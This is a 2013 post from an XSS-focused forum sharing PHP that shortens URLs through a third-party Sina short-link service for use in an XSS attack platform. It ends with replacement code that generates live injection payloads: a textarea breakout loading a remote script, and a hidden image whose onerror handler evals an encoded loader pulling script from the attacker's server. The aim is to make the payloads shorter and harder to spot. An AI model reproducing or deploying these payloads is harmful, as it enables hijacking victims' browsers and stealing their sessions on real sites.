[xsser.me]分享一下自己新浪短网址生成代码不需要申请接口[非插件]

Jonasen | 2013-06-14 18:36

时间匆忙 大牛见笑

下载请点击感谢!!!

在function.php中增加下方代码

/*t.cn短网址*/

function Vpost($url,$data){ // 模拟提交数据函数

    $curl = curl_init(); // 启动一个CURL会话

    curl_setopt($curl, CURLOPT_URL, $url); // 要访问的地址

    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); // 对认证证书来源的检查

    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1); // 从证书中检查SSL加密算法是否存在

    curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); // 模拟用户使用的浏览器

    // curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); // 使用自动跳转

    curl_setopt($curl, CURLOPT_AUTOREFERER, 1); // 自动设置Referer

    curl_setopt($curl, CURLOPT_POST, 1); // 发送一个常规的Post请求

    curl_setopt($curl, CURLOPT_POSTFIELDS, $data); // Post提交的数据包

    curl_setopt($curl, CURLOPT_TIMEOUT, 30); // 设置超时限制防止死循环

    curl_setopt($curl, CURLOPT_HEADER, 0); // 显示返回的Header区域内容

    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); // 获取的信息以文件流的形式返回

    $tmpInfo = curl_exec($curl); // 执行操作

  if (curl_errno($curl)) {

    echo 'Errno'.curl_error($curl);//捕抓异常

  }

    curl_close($curl); // 关闭CURL会话

    return $tmpInfo; // 返回数据

  }

function Vurl($turl){

$url = "http://www.henshiyong.com/tools/sina-shorten-url.php";

$data ="url=".$turl."&submit=submit";

$result = Vpost($url,$data);

if ( preg_match( "/<textarea>(.*?)<\/textarea>/", $result, $match ) ) {

  $tempurl= $match[1];

  }

return $tempurl;

}


将project.php中186-192的代码替换成下方代码

$codeurl=Vurl(URL_ROOT."/{$project[urlKey]}?".time());

    $code.=$project['code'];

    $scriptShow1=StripStr("</textarea>'\"><script src=".Vurl(URL_ROOT."/{$project[urlKey]}?".time())."></script>");

    $code2='var b=document.createElement("script");b.src="'.Vurl(URL_ROOT."/{$project[urlKey]}?").'"+Math.random();(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);';

    $scriptShow2=StripStr("</textarea>'\"><img src=# id=xssyou style=display:none onerror=eval(unescape(/".rawurlencode($code2)."/.source));//>");

效果图:

xss.jpg